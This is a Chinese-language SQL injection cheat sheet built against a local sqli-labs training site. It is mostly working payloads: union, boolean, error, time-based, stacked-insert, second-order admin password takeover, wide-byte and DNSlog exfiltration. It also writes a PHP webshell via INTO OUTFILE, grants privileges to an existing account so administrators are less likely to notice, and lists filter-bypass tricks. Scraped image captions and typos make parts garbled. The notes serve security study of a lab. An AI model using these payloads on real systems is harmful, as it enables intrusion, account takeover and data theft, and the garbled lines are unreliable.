Union注入

http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

构造的sql语句

http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user()--+

sql时间盲注 springboot_数据库

Boolean注入

构造一些判读语句

http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and length(database())=8--+

sql时间盲注 springboot_数据库_02

http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and substr(database(),1,1)='s'--+

sql时间盲注 springboot_sql_03


构造的语句可以有不同的形式

报错注入

http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

其他报错函数

and extractvalue(1,concat(0x7e,(database())))#
floor()函数
1' and (select 2 from (select count(*),concat(version(),floor(rand(*)*2))x from information_schema.tables group by x)a)#

sql时间盲注 springboot_sql时间盲注 springboot_04

sleep注入

用sleep if 进行判断

http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and if(database()='security',sleep(100),null)--+

sql时间盲注 springboot_数据库_05

堆叠注入

用 ;连接多个 SQL语句,执行多条语句

http://192.168.31.34/sqli-labs-master/Less-38/?id='; insert into users(id,username,password)values('10000','lqs','lqs')--+

sql时间盲注 springboot_sql时间盲注 springboot_06

二次注入

sql时间盲注 springboot_sql时间盲注 springboot_07

通过SQL修改已有账户
注册一个admin'#的账号。
登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆

sql时间盲注 springboot_数据库_08


sql时间盲注 springboot_Less_09

二次编码注入

sql时间盲注 springboot_sql_10


sql时间盲注 springboot_sql_11


sql时间盲注 springboot_sql_12

宽字节注入

数据库GBK编码时,地址后加 %df ,反斜杠编码为%5c,%df%5c是一个特殊字符,吃掉用来转义的反斜杠

sql时间盲注 springboot_sql_13


sql时间盲注 springboot_Less_14

sql时间盲注 springboot_sql_15


sql时间盲注 springboot_数据库_16

http://192.168.31.34/sqli-labs-master/Less-32/?id=%df%27 union select 1,database(),3 %23

sql时间盲注 springboot_Less_17

注入位置--cookie注入

sql时间盲注 springboot_Less_18

注入位置--refer

sql时间盲注 springboot_Less_19

注入位置--user-agent

sql时间盲注 springboot_sql时间盲注 springboot_20

注入位置--xff头

在http请求头的X-Forward-for处注入

特殊注入--base64编码后注入

sql时间盲注 springboot_Less_21


sql时间盲注 springboot_sql时间盲注 springboot_22

Dnslog注入

工具:dnslogsql.py

sql时间盲注 springboot_Less_23

1.DNSlog盲注原理

sql时间盲注 springboot_数据库_24


DNS:将域名解析到IP地址

DNSLOG:记录访问的域名信息

sql时间盲注 springboot_Less_25


sql时间盲注 springboot_sql_26


sql时间盲注 springboot_sql_27

sql时间盲注 springboot_数据库_28


回显记录在DNSlog平台

目标服务器是Windows系统

示范:

数据库运行该语句

sql时间盲注 springboot_Less_29


sql时间盲注 springboot_sql_30

回到平台

sql时间盲注 springboot_Less_31


sql时间盲注 springboot_sql_32

sql时间盲注 springboot_数据库_33


出现数据库名

对表名,列名进行暴力破解

例如:
1' and exists(select * from aa)# 破解表名
1' and exists(select id from users)# 对列名进行破解

读文件

select load_file()

通过写入木马,实现控制

写入条件:
1.知道远程目录
2.远程目录有写入权限
3.数据库开启了secure_file_priv
函数:
select 1,2,'' into outfile "/var/www/html/shell.php" #

提权语句

增加账户有可能引起管理员怀疑,可以给已有的账户提权

grant all privileges on *.* to admin@`%` indentified by 'abc';
创建一个从任意IP登录的超级用户
mysql -h 192.1689.233.128 -uadmin -pabc
验证
grant select,insert on *.* to admin2@`%` indentified by 'abc';
创建一个有select insert 权限的用户

一些绕过

1.大小写,如:oorr
2.双写绕过 ,如:seselectlect
3.宽字节形式
4.编码后绕过:关键字and被拦截,使用URL全编码,由于服务器会进行一次URL解码,所以把关键字编码两次
5.内联注释 id=1 / * ! and * / 1=1
6.字符绕过:制表符,换行符,括号,反引号,/ * * /
7.等价函数字符如: like或 in 代替= ,sleep用benchmark代替,ascii用hex,bin代替
8.过滤空格,使用%a0代替空格
9.括号代替空格
10.%09 TAB %0a新建一行 %0c 新的一页 %0d return %a0空格 / * * /代替空格



作者水平有限,文章可能存在错误, 希望大家多多包含